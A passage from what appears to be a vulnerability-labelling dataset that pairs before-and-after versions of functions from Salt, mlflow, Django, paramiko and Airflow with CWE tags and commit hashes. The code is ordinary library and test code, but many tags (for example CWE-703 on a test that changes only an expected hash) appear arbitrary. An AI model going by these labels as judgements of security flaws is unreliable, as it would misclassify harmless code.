        self.socket = self.context.socket(zmq.SUB)
        self.socket.setsockopt(zmq.SUBSCRIBE, '')
        self.socket.setsockopt(zmq.IDENTITY, self.opts['id'])

        recon_delay = self.opts['recon_default']

        if self.opts['recon_randomize']:
            recon_delay = randint(self.opts['recon_default'],
                                  self.opts['recon_default'] + self.opts['recon_max']
                          )

            log.debug(""Generated random reconnect delay between '{0}ms' and '{1}ms' ({2})"".format(
                self.opts['recon_default'],
                self.opts['recon_default'] + self.opts['recon_max'],
                recon_delay)
            )

        log.debug(""Setting zmq_reconnect_ivl to '{0}ms'"".format(recon_delay))
        self.socket.setsockopt(zmq.RECONNECT_IVL, recon_delay)

        if hasattr(zmq, 'RECONNECT_IVL_MAX'):
            log.debug(""Setting zmq_reconnect_ivl_max to '{0}ms'"".format(
                self.opts['recon_default'] + self.opts['recon_max'])
            )

            self.socket.setsockopt(
                zmq.RECONNECT_IVL_MAX, self.opts['recon_max']
            )

        if self.opts['ipv6'] is True and hasattr(zmq, 'IPV4ONLY'):
            # IPv6 sockets work for both IPv6 and IPv4 addresses
            self.socket.setsockopt(zmq.IPV4ONLY, 0)

        if hasattr(zmq, 'TCP_KEEPALIVE'):
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE, self.opts['tcp_keepalive']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_IDLE, self.opts['tcp_keepalive_idle']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_CNT, self.opts['tcp_keepalive_cnt']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_INTVL, self.opts['tcp_keepalive_intvl']
            )
        self.socket.connect(self.master_pub)
        self.poller.register(self.socket, zmq.POLLIN)
        self.epoller.register(self.epull_sock, zmq.POLLIN)
        # Send an event to the master that the minion is live
        self._fire_master(
            'Minion {0} started at {1}'.format(
            self.opts['id'],
            time.asctime()
            ),
            'minion_start'
        )
        self._fire_master(
            'Minion {0} started at {1}'.format(
            self.opts['id'],
            time.asctime()
            ),
            tagify([self.opts['id'], 'start'], 'minion'),
        )
        
        # Make sure to gracefully handle SIGUSR1
        enable_sigusr1_handler()

        # Make sure to gracefully handle CTRL_LOGOFF_EVENT
        salt.utils.enable_ctrl_logoff_handler()

        # On first startup execute a state run if configured to do so
        self._state_run()
        time.sleep(.5)

        loop_interval = int(self.opts['loop_interval'])
        while True:
            try:
                self.schedule.eval()
                # Check if scheduler requires lower loop interval than
                # the loop_interval setting
                if self.schedule.loop_interval < loop_interval:
                    loop_interval = self.schedule.loop_interval
                    log.debug(
                        'Overriding loop_interval because of scheduled jobs.'
                    )
            except Exception as exc:
                log.error(
                    'Exception {0} occurred in scheduled job'.format(exc)
                )
            try:
                socks = dict(self.poller.poll(
                    loop_interval * 1000)
                )
                if self.socket in socks and socks[self.socket] == zmq.POLLIN:
                    payload = self.serial.loads(self.socket.recv())
                    self._handle_payload(payload)
                # Check the event system
                if self.epoller.poll(1):
                    try:
                        while True:
                            package = self.epull_sock.recv(zmq.NOBLOCK)
                            if package.startswith('module_refresh'):
                                self.module_refresh()
                            elif package.startswith('pillar_refresh'):
                                self.pillar_refresh()
                            self.epub_sock.send(package)
                    except Exception:
                        pass
            except zmq.ZMQError:
                # This is thrown by the interrupt caused by python handling the
                # SIGCHLD. This is a safe error and we just start the poll
                # again
                continue
            except Exception:
                log.critical(
                    'An exception occurred while polling the minion',
                    exc_info=True
                )"
,UNKNOWN,UNKNOWN,tests/models/test_evaluation.py,1,"def test_dataset_hash(
    iris_dataset, iris_pandas_df_dataset, iris_pandas_df_num_cols_dataset, diabetes_spark_dataset
):
    assert iris_dataset.hash == ""99329a790dc483e7382c0d1d27aac3f3""
    assert iris_pandas_df_dataset.hash == ""799d4f50e2e353127f94a0e5300add06""
    assert iris_pandas_df_num_cols_dataset.hash == ""3c5fc56830a0646001253e25e17bdce4""
    assert diabetes_spark_dataset.hash == ""ebfb050519e7e5b463bd38b0c8d04243""",CWE-703,mlflow/mlflow,d64366ee3570c96158431b26bbe1f22a071f1a7b,"def test_dataset_hash(
    iris_dataset, iris_pandas_df_dataset, iris_pandas_df_num_cols_dataset, diabetes_spark_dataset
):
    assert iris_dataset.hash == ""99329a790dc483e7382c0d1d27aac3f3""
    assert iris_pandas_df_dataset.hash == ""799d4f50e2e353127f94a0e5300add06""
    assert iris_pandas_df_num_cols_dataset.hash == ""3c5fc56830a0646001253e25e17bdce4""
    assert diabetes_spark_dataset.hash == ""e646b03e976240bd0c79c6bcc1ae0bda"""
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/admin/views/main.py,0,"def get_filters(self, request):
        filter_specs = []
        if self.list_filter and not self.opts.one_to_one_field:
            filter_fields = [self.lookup_opts.get_field(field_name) for field_name in self.list_filter]
            for f in filter_fields:
                spec = FilterSpec.create(f, request, self.params, self.model, self.model_admin)
                if spec and spec.has_output():
                    filter_specs.append(spec)
        return filter_specs, bool(filter_specs)",CWE-Unknown,django/django,64b9123b7a3a154d7d5f730048ae1de7b430e0a5,"def get_filters(self, request):
        filter_specs = []
        if self.list_filter and not self.opts.one_to_one_field:
            filter_fields = [self.lookup_opts.get_field(field_name) for field_name in self.list_filter]
            for f in filter_fields:
                spec = FilterSpec.create(f, request, self.params, self.model)
                if spec and spec.has_output():
                    filter_specs.append(spec)
        return filter_specs, bool(filter_specs)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/raw_query/tests.py,0,"def assertProcessed(self, model, results, orig, expected_annotations=()):
        """"""
        Compare the results of a raw query against expected results
        """"""
        self.assertEqual(len(results), len(orig))
        for index, item in enumerate(results):
            orig_item = orig[index]
            for annotation in expected_annotations:
                setattr(orig_item, *annotation)

            for field in model._meta.fields:
                # Check that all values on the model are equal
                self.assertEqual(
                    getattr(item, field.attname),
                    getattr(orig_item, field.attname)
                )
                # This includes checking that they are the same type
                self.assertEqual(
                    type(getattr(item, field.attname)),
                    type(getattr(orig_item, field.attname))
                )",CWE-Unknown,django/django,668571386926ff5453d0e11f59b0a89c0dc1dfa2,"def assertProcessed(self, model, results, orig, expected_annotations=()):
        """"""
        Compare the results of a raw query against expected results
        """"""
        self.assertEqual(len(results), len(orig))
        for index, item in enumerate(results):
            orig_item = orig[index]
            for annotation in expected_annotations:
                setattr(orig_item, *annotation)

            for field in model._meta.fields:
                # Check that all values on the model are equal
                self.assertEqual(getattr(item, field.attname),
                                  getattr(orig_item, field.attname))
                # This includes checking that they are the same type
                self.assertEqual(type(getattr(item, field.attname)),
                                  type(getattr(orig_item, field.attname)))"
,UNKNOWN,UNKNOWN,tests/test_client.py,1,"def test_1_client(self):
        """"""
        verify that the SSHClient stuff works too.
        """"""
        host_key = paramiko.RSAKey.from_private_key_file(test_path('test_rsa.key'))
        public_host_key = paramiko.RSAKey(data=host_key.asbytes())

        self.tc = paramiko.SSHClient()
        self.tc.get_host_keys().add('[%s]:%d' % (self.addr, self.port), 'ssh-rsa', public_host_key)
        self.tc.connect(self.addr, self.port, username='slowdive', password='pygmalion')

        self.event.wait(1.0)
        self.assertTrue(self.event.isSet())
        self.assertTrue(self.ts.is_active())
        self.assertEqual('slowdive', self.ts.get_username())
        self.assertEqual(True, self.ts.is_authenticated())

        stdin, stdout, stderr = self.tc.exec_command('yes')
        schan = self.ts.accept(1.0)

        schan.send('Hello there.\n')
        schan.send_stderr('This is on stderr.\n')
        schan.close()

        self.assertEqual('Hello there.\n', stdout.readline())
        self.assertEqual('', stdout.readline())
        self.assertEqual('This is on stderr.\n', stderr.readline())
        self.assertEqual('', stderr.readline())

        stdin.close()
        stdout.close()
        stderr.close()",CWE-259,paramiko/paramiko,7444a999931cddc1e61bb35270468aa45da2687e,"def test_1_client(self):
        """"""
        verify that the SSHClient stuff works too.
        """"""
        host_key = paramiko.RSAKey.from_private_key_file(test_path('test_rsa.key'))
        public_host_key = paramiko.RSAKey(data=host_key.asbytes())

        self.tc = paramiko.SSHClient()
        self.tc.get_host_keys().add('[%s]:%d' % (self.addr, self.port), 'ssh-rsa', public_host_key)
        self.tc.connect(self.addr, self.port, username='slowdive', password='pygmalion')

        self.event.wait(1.0)
        self.assert_(self.event.isSet())
        self.assert_(self.ts.is_active())
        self.assertEquals('slowdive', self.ts.get_username())
        self.assertEquals(True, self.ts.is_authenticated())

        stdin, stdout, stderr = self.tc.exec_command('yes')
        schan = self.ts.accept(1.0)

        schan.send('Hello there.\n')
        schan.send_stderr('This is on stderr.\n')
        schan.close()

        self.assertEquals('Hello there.\n', stdout.readline())
        self.assertEquals('', stdout.readline())
        self.assertEquals('This is on stderr.\n', stderr.readline())
        self.assertEquals('', stderr.readline())

        stdin.close()
        stdout.close()
        stderr.close()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/models/evaluation/lift_curve.py,0,"def _cumulative_gain_curve(y_true, y_score, pos_label=None):
    """"""
    This method is copied from scikit-plot package.
    See https://github.com/reiinakano/scikit-plot/blob/2dd3e6a76df77edcbd724c4db25575f70abb57cb/scikitplot/helpers.py#L157

    This function generates the points necessary to plot the Cumulative Gain

    Note: This implementation is restricted to the binary classification task.

    Args:
        y_true (array-like, shape (n_samples)): True labels of the data.

        y_score (array-like, shape (n_samples)): Target scores, can either be
            probability estimates of the positive class, confidence values, or
            non-thresholded measure of decisions (as returned by
            decision_function on some classifiers).

        pos_label (int or str, default=None): Label considered as positive and
            others are considered negative

    Returns:
        percentages (numpy.ndarray): An array containing the X-axis values for
            plotting the Cumulative Gains chart.

        gains (numpy.ndarray): An array containing the Y-axis values for one
            curve of the Cumulative Gains chart.

    Raises:
        ValueError: If `y_true` is not composed of 2 classes. The Cumulative
            Gain Chart is only relevant in binary classification.
    """"""
    y_true, y_score = np.asarray(y_true), np.asarray(y_score)

    # ensure binary classification if pos_label is not specified
    classes = np.unique(y_true)
    if pos_label is None and not (
        np.array_equal(classes, [0, 1])
        or np.array_equal(classes, [-1, 1])
        or np.array_equal(classes, [0])
        or np.array_equal(classes, [-1])
        or np.array_equal(classes, [1])
    ):
        raise ValueError(""Data is not binary and pos_label is not specified"")
    elif pos_label is None:
        pos_label = 1.0

    # make y_true a boolean vector
    y_true = y_true == pos_label

    sorted_indices = np.argsort(y_score)[::-1]
    y_true = y_true[sorted_indices]
    gains = np.cumsum(y_true)

    percentages = np.arange(start=1, stop=len(y_true) + 1)

    gains = gains / float(np.sum(y_true))
    percentages = percentages / float(len(y_true))

    gains = np.insert(gains, 0, [0])
    percentages = np.insert(percentages, 0, [0])

    return percentages, gains",,mlflow/mlflow,0144d8679cdc4167b7262df0157f1ca731b421c4,"def _cumulative_gain_curve(y_true, y_score, pos_label=None):
    """"""
    This method is copied from scikit-plot package.

    This function generates the points necessary to plot the Cumulative Gain

    Note: This implementation is restricted to the binary classification task.

    Args:
        y_true (array-like, shape (n_samples)): True labels of the data.

        y_score (array-like, shape (n_samples)): Target scores, can either be
            probability estimates of the positive class, confidence values, or
            non-thresholded measure of decisions (as returned by
            decision_function on some classifiers).

        pos_label (int or str, default=None): Label considered as positive and
            others are considered negative

    Returns:
        percentages (numpy.ndarray): An array containing the X-axis values for
            plotting the Cumulative Gains chart.

        gains (numpy.ndarray): An array containing the Y-axis values for one
            curve of the Cumulative Gains chart.

    Raises:
        ValueError: If `y_true` is not composed of 2 classes. The Cumulative
            Gain Chart is only relevant in binary classification.
    """"""
    y_true, y_score = np.asarray(y_true), np.asarray(y_score)

    # ensure binary classification if pos_label is not specified
    classes = np.unique(y_true)
    if pos_label is None and not (
        np.array_equal(classes, [0, 1])
        or np.array_equal(classes, [-1, 1])
        or np.array_equal(classes, [0])
        or np.array_equal(classes, [-1])
        or np.array_equal(classes, [1])
    ):
        raise ValueError(""Data is not binary and pos_label is not specified"")
    elif pos_label is None:
        pos_label = 1.0

    # make y_true a boolean vector
    y_true = y_true == pos_label

    sorted_indices = np.argsort(y_score)[::-1]
    y_true = y_true[sorted_indices]
    gains = np.cumsum(y_true)

    percentages = np.arange(start=1, stop=len(y_true) + 1)

    gains = gains / float(np.sum(y_true))
    percentages = percentages / float(len(y_true))

    gains = np.insert(gains, 0, [0])
    percentages = np.insert(percentages, 0, [0])

    return percentages, gains"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/contrib/hooks/bigquery_hook.py,0,"def run_query(self,
                  bql=None,
                  sql=None,
                  destination_dataset_table=False,
                  write_disposition='WRITE_EMPTY',
                  allow_large_results=False,
                  flatten_results=None,
                  udf_config=False,
                  use_legacy_sql=None,
                  maximum_billing_tier=None,
                  maximum_bytes_billed=None,
                  create_disposition='CREATE_IF_NEEDED',
                  query_params=None,
                  labels=None,
                  schema_update_options=(),
                  priority='INTERACTIVE',
                  time_partitioning={}):
        """"""
        Executes a BigQuery SQL query. Optionally persists results in a BigQuery
        table. See here:

        https://cloud.google.com/bigquery/docs/reference/v2/jobs

        For more details about these parameters.

        :param bql: (Deprecated. Use `sql` parameter instead) The BigQuery SQL
            to execute.
        :type bql: string
        :param sql: The BigQuery SQL to execute.
        :type sql: string
        :param destination_dataset_table: The dotted <dataset>.<table>
            BigQuery table to save the query results.
        :type destination_dataset_table: string
        :param write_disposition: What to do if the table already exists in
            BigQuery.
        :type write_disposition: string
        :param allow_large_results: Whether to allow large results.
        :type allow_large_results: boolean
        :param flatten_results: If true and query uses legacy SQL dialect, flattens
            all nested and repeated fields in the query results. ``allowLargeResults``
            must be true if this is set to false. For standard SQL queries, this
            flag is ignored and results are never flattened.
        :type flatten_results: boolean
        :param udf_config: The User Defined Function configuration for the query.
            See https://cloud.google.com/bigquery/user-defined-functions for details.
        :param use_legacy_sql: Whether to use legacy SQL (true) or standard SQL (false).
            If `None`, defaults to `self.use_legacy_sql`.
        :type use_legacy_sql: boolean
        :type udf_config: list
        :param maximum_billing_tier: Positive integer that serves as a
            multiplier of the basic price.
        :type maximum_billing_tier: integer
        :param maximum_bytes_billed: Limits the bytes billed for this job.
            Queries that will have bytes billed beyond this limit will fail
            (without incurring a charge). If unspecified, this will be
            set to your project default.
        :type maximum_bytes_billed: float
        :param create_disposition: Specifies whether the job is allowed to
            create new tables.
        :type create_disposition: string
        :param query_params a dictionary containing query parameter types and
            values, passed to BigQuery
        :type query_params: dict
        :param labels a dictionary containing labels for the job/query,
            passed to BigQuery
        :type labels: dict
        :param schema_update_options: Allows the schema of the desitination
            table to be updated as a side effect of the query job.
        :type schema_update_options: tuple
        :param priority: Specifies a priority for the query.
            Possible values include INTERACTIVE and BATCH.
            The default value is INTERACTIVE.
        :type priority: string
        :param time_partitioning: configure optional time partitioning fields i.e.
            partition by field, type and expiration as per API specifications.
        :type time_partitioning: dict

        """"""

        # TODO remove `bql` in Airflow 2.0 - Jira: [AIRFLOW-2513]
        sql = bql if sql is None else sql

        if bql:
            import warnings
            warnings.warn('Deprecated parameter `bql` used in '
                          '`BigQueryBaseCursor.run_query` '
                          'Use `sql` parameter instead to pass the sql to be '
                          'executed. `bql` parameter is deprecated and '
                          'will be removed in a future version of '
                          'Airflow.',
                          category=DeprecationWarning)

        if sql is None:
            raise TypeError('`BigQueryBaseCursor.run_query` missing 1 required '
                            'positional argument: `sql`')

        # BigQuery also allows you to define how you want a table's schema to change
        # as a side effect of a query job
        # for more details:
        #   https://cloud.google.com/bigquery/docs/reference/rest/v2/jobs#configuration.query.schemaUpdateOptions
        allowed_schema_update_options = [
            'ALLOW_FIELD_ADDITION', ""ALLOW_FIELD_RELAXATION""
        ]
        if not set(allowed_schema_update_options).issuperset(
                set(schema_update_options)):
            raise ValueError(
                ""{0} contains invalid schema update options. ""
                ""Please only use one or more of the following options: {1}""
                .format(schema_update_options, allowed_schema_update_options))

        if use_legacy_sql is None:
            use_legacy_sql = self.use_legacy_sql

        configuration = {
            'query': {
                'query': sql,
                'useLegacySql': use_legacy_sql,
                'maximumBillingTier': maximum_billing_tier,
                'maximumBytesBilled': maximum_bytes_billed,
                'priority': priority
            }
        }

        if destination_dataset_table:
            if '.' not in destination_dataset_table:
                raise ValueError(
                    'Expected destination_dataset_table name in the format of '
                    '<dataset>.<table>. Got: {}'.format(
                        destination_dataset_table))
            destination_project, destination_dataset, destination_table = \
                _split_tablename(table_input=destination_dataset_table,
                                 default_project_id=self.project_id)
            configuration['query'].update({
                'allowLargeResults': allow_large_results,
                'flattenResults': flatten_results,
                'writeDisposition': write_disposition,
                'createDisposition': create_disposition,
                'destinationTable': {
                    'projectId': destination_project,
                    'datasetId': destination_dataset,
                    'tableId': destination_table,
                }
            })
        if udf_config:
            if not isinstance(udf_config, list):
                raise TypeError(""udf_config argument must have a type 'list'""
                                "" not {}"".format(type(udf_config)))
            configuration['query'].update({
                'userDefinedFunctionResources': udf_config
            })

        if query_params:
            if self.use_legacy_sql:
                raise ValueError(""Query paramaters are not allowed when using ""
                                 ""legacy SQL"")
            else:
                configuration['query']['queryParameters'] = query_params

        if labels:
            configuration['labels'] = labels

        time_partitioning = _cleanse_time_partitioning(
            destination_dataset_table,
            time_partitioning
        )
        if time_partitioning:
            configuration['query'].update({
                'timePartitioning': time_partitioning
            })

        if schema_update_options:
            if write_disposition not in [""WRITE_APPEND"", ""WRITE_TRUNCATE""]:
                raise ValueError(""schema_update_options is only ""
                                 ""allowed if write_disposition is ""
                                 ""'WRITE_APPEND' or 'WRITE_TRUNCATE'."")
            else:
                self.log.info(
                    ""Adding experimental ""
                    ""'schemaUpdateOptions': {0}"".format(schema_update_options))
                configuration['query'][
                    'schemaUpdateOptions'] = schema_update_options

        return self.run_with_configuration(configuration)",CWE-Unknown,apache/airflow,7603042361d3aef18bf774c34d0fabed4279d0c0,"def run_query(self,
                  bql=None,
                  sql=None,
                  destination_dataset_table=False,
                  write_disposition='WRITE_EMPTY',
                  allow_large_results=False,
                  flatten_results=None,
                  udf_config=False,
                  use_legacy_sql=None,
                  maximum_billing_tier=None,
                  maximum_bytes_billed=None,
                  create_disposition='CREATE_IF_NEEDED',
                  query_params=None,
                  labels=None,
                  schema_update_options=(),
                  priority='INTERACTIVE',
                  time_partitioning={}):
        """"""
        Executes a BigQuery SQL query. Optionally persists results in a BigQuery
        table. See here:

        https://cloud.google.com/bigquery/docs/reference/v2/jobs

        For more details about these parameters.

        :param bql: (Deprecated. Use `sql` parameter instead) The BigQuery SQL
            to execute.
        :type bql: string
        :param sql: The BigQuery SQL to execute.
        :type sql: string
        :param destination_dataset_table: The dotted <dataset>.<table>
            BigQuery table to save the query results.
        :type destination_dataset_table: string
        :param write_disposition: What to do if the table already exists in
            BigQuery.
        :type write_disposition: string
        :param allow_large_results: Whether to allow large results.
        :type allow_large_results: boolean
        :param flatten_results: If true and query uses legacy SQL dialect, flattens
            all nested and repeated fields in the query results. ``allowLargeResults``
            must be true if this is set to false. For standard SQL queries, this
            flag is ignored and results are never flattened.
        :type flatten_results: boolean
        :param udf_config: The User Defined Function configuration for the query.
            See https://cloud.google.com/bigquery/user-defined-functions for details.
        :param use_legacy_sql: Whether to use legacy SQL (true) or standard SQL (false).
            If `None`, defaults to `self.use_legacy_sql`.
        :type use_legacy_sql: boolean
        :type udf_config: list
        :param maximum_billing_tier: Positive integer that serves as a
            multiplier of the basic price.
        :type maximum_billing_tier: integer
        :param maximum_bytes_billed: Limits the bytes billed for this job.
            Queries that will have bytes billed beyond this limit will fail
            (without incurring a charge). If unspecified, this will be
            set to your project default.
        :type maximum_bytes_billed: float
        :param create_disposition: Specifies whether the job is allowed to
            create new tables.
        :type create_disposition: string
        :param query_params a dictionary containing query parameter types and
            values, passed to BigQuery
        :type query_params: dict
        :param labels a dictionary containing labels for the job/query,
            passed to BigQuery
        :type labels: dict
        :param schema_update_options: Allows the schema of the desitination
            table to be updated as a side effect of the query job.
        :type schema_update_options: tuple
        :param priority: Specifies a priority for the query.
            Possible values include INTERACTIVE and BATCH.
            The default value is INTERACTIVE.
        :type priority: string
        :param time_partitioning: configure optional time partitioning fields i.e.
            partition by field, type and
            expiration as per API specifications. Note that 'field' is not available in
            conjunction with dataset.table$partition.
        :type time_partitioning: dict

        """"""

        # TODO remove `bql` in Airflow 2.0 - Jira: [AIRFLOW-2513]
        sql = bql if sql is None else sql

        if bql:
            import warnings
            warnings.warn('Deprecated parameter `bql` used in '
                          '`BigQueryBaseCursor.run_query` '
                          'Use `sql` parameter instead to pass the sql to be '
                          'executed. `bql` parameter is deprecated and '
                          'will be removed in a future version of '
                          'Airflow.',
                          category=DeprecationWarning)

        if sql is None:
            raise TypeError('`BigQueryBaseCursor.run_query` missing 1 required '
                            'positional argument: `sql`')

        # BigQuery also allows you to define how you want a table's schema to change
        # as a side effect of a query job
        # for more details:
        #   https://cloud.google.com/bigquery/docs/reference/rest/v2/jobs#configuration.query.schemaUpdateOptions
        allowed_schema_update_options = [
            'ALLOW_FIELD_ADDITION', ""ALLOW_FIELD_RELAXATION""
        ]
        if not set(allowed_schema_update_options).issuperset(
                set(schema_update_options)):
            raise ValueError(
                ""{0} contains invalid schema update options. ""
                ""Please only use one or more of the following options: {1}""
                .format(schema_update_options, allowed_schema_update_options))

        if use_legacy_sql is None:
            use_legacy_sql = self.use_legacy_sql

        configuration = {
            'query': {
                'query': sql,
                'useLegacySql': use_legacy_sql,
                'maximumBillingTier': maximum_billing_tier,
                'maximumBytesBilled': maximum_bytes_billed,
                'priority': priority
            }
        }

        if destination_dataset_table:
            if '.' not in destination_dataset_table:
                raise ValueError(
                    'Expected destination_dataset_table name in the format of '
                    '<dataset>.<table>. Got: {}'.format(
                        destination_dataset_table))
            destination_project, destination_dataset, destination_table = \
                _split_tablename(table_input=destination_dataset_table,
                                 default_project_id=self.project_id)
            configuration['query'].update({
                'allowLargeResults': allow_large_results,
                'flattenResults': flatten_results,
                'writeDisposition': write_disposition,
                'createDisposition': create_disposition,
                'destinationTable': {
                    'projectId': destination_project,
                    'datasetId': destination_dataset,
                    'tableId': destination_table,
                }
            })
        if udf_config:
            if not isinstance(udf_config, list):
                raise TypeError(""udf_config argument must have a type 'list'""
                                "" not {}"".format(type(udf_config)))
            configuration['query'].update({
                'userDefinedFunctionResources': udf_config
            })

        if query_params:
            if self.use_legacy_sql:
                raise ValueError(""Query paramaters are not allowed when using ""
                                 ""legacy SQL"")
            else:
                configuration['query']['queryParameters'] = query_params

        if labels:
            configuration['labels'] = labels

        time_partitioning = _cleanse_time_partitioning(
            destination_dataset_table,
            time_partitioning
        )
        if time_partitioning:
            configuration['query'].update({
                'timePartitioning': time_partitioning
            })

        if schema_update_options:
            if write_disposition not in [""WRITE_APPEND"", ""WRITE_TRUNCATE""]:
                raise ValueError(""schema_update_options is only ""
                                 ""allowed if write_disposition is ""
                                 ""'WRITE_APPEND' or 'WRITE_TRUNCATE'."")
            else:
                self.log.info(
                    ""Adding experimental ""
                    ""'schemaUpdateOptions': {0}"".format(schema_update_options))
                configuration['query'][
                    'schemaUpdateOptions'] = schema_update_options

        return self.run_with_configuration(configuration)"
,UNKNOWN,UNKNOWN,providers/tests/microsoft/azure/hooks/test_wasb.py,1,"def test_delete_more_than_256_blobs(self, mock_check, mock_get_blobslist, mock_delete_blobs):
        mock_check.return_value = False
        mock_get_blobslist.return_value = [f""blob_prefix/blob{i}"" for i in range(300)]
        hook = WasbHook(wasb_conn_id=self.azure_shared_key_test)
        hook.delete_file(""container"", ""blob_prefix"", is_prefix=True)
        mock_get_blobslist.assert_called_once_with(""container"", prefix=""blob_prefix"", delimiter="""")
        # The maximum number of blobs that can be deleted in a single request is 256 using the underlying
        # `ContainerClient.delete_blobs()` method. Therefore the deletes need to be in batches of <= 256.
        # Therefore, providing a list of 300 blobs to delete should yield 2 calls of
        # `ContainerClient.delete_blobs()` in this test.
        assert mock_delete_blobs.call_count == 2",CWE-703,apache/airflow,1f7a58a5172bfd6dacf09d446f48e2cd5edca3d5,"def test_delete_more_than_256_blobs(self, mock_check, mock_get_blobslist, mock_delete_blobs):
        mock_check.return_value = False
        mock_get_blobslist.return_value = [f""blob_prefix/blob{i}"" for i in range(300)]
        hook = WasbHook(wasb_conn_id=self.azure_shared_key_test)
        hook.delete_file(""container"", ""blob_prefix"", is_prefix=True)
        mock_get_blobslist.assert_called_once_with(""container"", prefix=""blob_prefix"", delimiter="""")
        # The maximum number of blobs that can be deleted in a single request is 256 using the underlying
        # `ContainerClient.delete_blobs()` method. Therefore the deletes need to be in batches of <= 256.
        # Therefore, providing a list of 300 blobs to delete should yield 2 calls of
        # `ContainerClient.delete_blobs()` in this test.
        assert mock_delete_blobs.call_count == 2"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_task_instance_endpoint.py,1,"def test_should_update_task_instance_state(self, session):
        self.create_task_instances(session)

        NEW_STATE = ""failed""

        self.client.patch(
            self.ENDPOINT_URL,
            environ_overrides={""REMOTE_USER"": ""test""},
            json={
                ""dry_run"": False,
                ""new_state"": NEW_STATE,
            },
        )

        response2 = self.client.get(
            self.ENDPOINT_URL,
            environ_overrides={""REMOTE_USER"": ""test""},
            json={},
        )
        assert response2.status_code == 200
        assert response2.json[""state""] == NEW_STATE",CWE-703,apache/airflow,2bfbffe09c2ab82836e297bd4bf0b6d6e0c7d93b,"def test_should_update_task_instance_state(self, session):
        self.create_task_instances(session)

        NEW_STATE = ""failed""

        self.client.patch(
            self.ENDPOINT_URL,
            environ_overrides={""REMOTE_USER"": ""test""},
            json={
                ""dry_run"": False,
                ""new_state"": NEW_STATE,
            },
        )

        response2 = self.client.get(
            self.ENDPOINT_URL,
            environ_overrides={""REMOTE_USER"": ""test""},
            json={},
        )
        assert response2.status_code == 200
        assert response2.json[""state""] == NEW_STATE"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/models/evaluation/base.py,0,"def _hash_array_like_obj_as_bytes(data):
    """"""
    Helper method to convert pandas dataframe/numpy array/list into bytes for
    MD5 calculation purpose.
    """"""
    if isinstance(data, pd.DataFrame):
        # add checking `'pyspark' in sys.modules` to avoid importing pyspark when user
        # run code not related to pyspark.
        if ""pyspark"" in sys.modules:
            from pyspark.ml.linalg import Vector as spark_vector_type
        else:
            spark_vector_type = None

        def _hash_array_like_element_as_bytes(v):
            if spark_vector_type is not None:
                if isinstance(v, spark_vector_type):
                    return _hash_ndarray_as_bytes(v.toArray())
            if isinstance(v, (dict, list, np.ndarray)):
                return _hash_data_as_bytes(v)
            return v

        data = data.applymap(_hash_array_like_element_as_bytes)
        return _hash_uint64_ndarray_as_bytes(pd.util.hash_pandas_object(data))
    elif isinstance(data, np.ndarray) and len(data) > 0 and isinstance(data[0], list):
        # convert numpy array of lists into numpy array of the string representation of the lists
        # because lists are not hashable
        hashable = np.array(str(val) for val in data)
        return _hash_ndarray_as_bytes(hashable)
    elif isinstance(data, np.ndarray) and len(data) > 0 and isinstance(data[0], np.ndarray):
        # convert numpy array of numpy arrays into 2d numpy arrays
        # because numpy array of numpy arrays are not hashable
        hashable = np.array(data.tolist())
        return _hash_ndarray_as_bytes(hashable)
    elif isinstance(data, np.ndarray):
        return _hash_ndarray_as_bytes(data)
    elif isinstance(data, list):
        return _hash_ndarray_as_bytes(np.array(data))
    else:
        raise ValueError(""Unsupported data type."")",,mlflow/mlflow,26ad326af42c46358fe14471828bb7fa0839d299,"def _hash_array_like_obj_as_bytes(data):
    """"""
    Helper method to convert pandas dataframe/numpy array/list into bytes for
    MD5 calculation purpose.
    """"""
    if isinstance(data, pd.DataFrame):
        # add checking `'pyspark' in sys.modules` to avoid importing pyspark when user
        # run code not related to pyspark.
        if ""pyspark"" in sys.modules:
            from pyspark.ml.linalg import Vector as spark_vector_type
        else:
            spark_vector_type = None

        def _hash_array_like_element_as_bytes(v):
            if spark_vector_type is not None:
                if isinstance(v, spark_vector_type):
                    return _hash_ndarray_as_bytes(v.toArray())
            if isinstance(v, (dict, list, np.ndarray)):
                return _hash_data_as_bytes(v)
            return v

        data = data.applymap(_hash_array_like_element_as_bytes)
        return _hash_uint64_ndarray_as_bytes(pd.util.hash_pandas_object(data))
    elif isinstance(data, np.ndarray) and len(data) > 0 and isinstance(data[0], list):
        # convert numpy array of lists into numpy array of numpy arrays
        # because lists are not hashable
        hashable = np.array(str(val) for val in data)
        return _hash_ndarray_as_bytes(hashable)
    elif isinstance(data, np.ndarray):
        return _hash_ndarray_as_bytes(data)
    elif isinstance(data, list):
        return _hash_ndarray_as_bytes(np.array(data))
    else:
        raise ValueError(""Unsupported data type."")"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/client.py,0,"def get_latest_versions(self, name: str, stages: List[str] = None) -> List[ModelVersion]:
        """"""
        Latest version models for each requests stage. If no ``stages`` provided, returns the
        latest version for each stage.

        :param name: Name of the registered model from which to get the latest versions.
        :param stages: List of desired stages. If input list is None, return latest versions for
                       for ALL_STAGES.
        :return: List of :py:class:`mlflow.entities.model_registry.ModelVersion` objects.

        .. code-block:: python
            :caption: Example

            import mlflow.sklearn
            from mlflow import MlflowClient
            from mlflow.models import infer_signature
            from sklearn.datasets import make_regression
            from sklearn.ensemble import RandomForestRegressor


            def print_models_info(mv):
                for m in mv:
                    print(""name: {}"".format(m.name))
                    print(""latest version: {}"".format(m.version))
                    print(""run_id: {}"".format(m.run_id))
                    print(""current_stage: {}"".format(m.current_stage))


            mlflow.set_tracking_uri(""sqlite:///mlruns.db"")
            X, y = make_regression(n_features=4, n_informative=2, random_state=0, shuffle=False)

            # Create two runs Log MLflow entities
            with mlflow.start_run() as run1:
                params = {""n_estimators"": 3, ""random_state"": 42}
                rfr = RandomForestRegressor(**params).fit(X, y)
                signature = infer_signature(X, rfr.predict(X))
                mlflow.log_params(params)
                mlflow.sklearn.log_model(rfr, artifact_path=""sklearn-model"", signature=signature)

            with mlflow.start_run() as run2:
